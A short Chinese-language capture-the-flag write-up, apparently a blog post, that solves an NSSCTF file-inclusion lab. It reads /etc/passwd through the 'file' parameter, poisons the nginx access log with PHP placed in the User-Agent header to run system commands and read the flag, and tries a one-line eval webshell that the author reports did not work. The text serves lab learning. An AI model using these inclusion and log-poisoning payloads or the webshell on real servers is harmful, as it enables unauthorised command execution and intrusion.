开启NSSCTF靶场,打开链接:
可以看到过滤了很多常见的利用协议,GET传参是file
先随便读取点正常的文件吧,构造payload:
/?file=/etc/passwd
可以看到是nginx服务器还有日志文件信息
apache服务器日志存放文件位置:/var/log/apache/access.log
nginx服务器日志存放位置:/var/log/nginx/access.log和/var/log/nginx/error.log
直接构造payload:
/?file=/var/log/nginx/access.log
显示的内容是浏览器和部分系统的信息,这些都是User-Agent头的内容,猜测可以修改User-Agent头的内容来执行命令
用burp抓包,修改User-Agent头的内容为:
<?php system('ls /');?>
显示出一堆文件,其中ffflllaaaggg是我们需要的
还是修改User-Agent头的内容为:
<?php system('cat /ffflllaaaggg');?>或<?php system('cat /f*');?>
得到flag:
NSSCTF{964e6b5b-3652-441a-ad3a-142a851a7804}
看到有文章说上传一句话木马也可以,就试了试:
<?php @eval($_POST['pass'];?)>
但是用中国蚁剑连接却显示返回数据为空?
标签:file,WEEK2,log,Agent,nginx,User,easy,var,include From: https://blog.csdn.net/weixin_73049307/article/details/141992555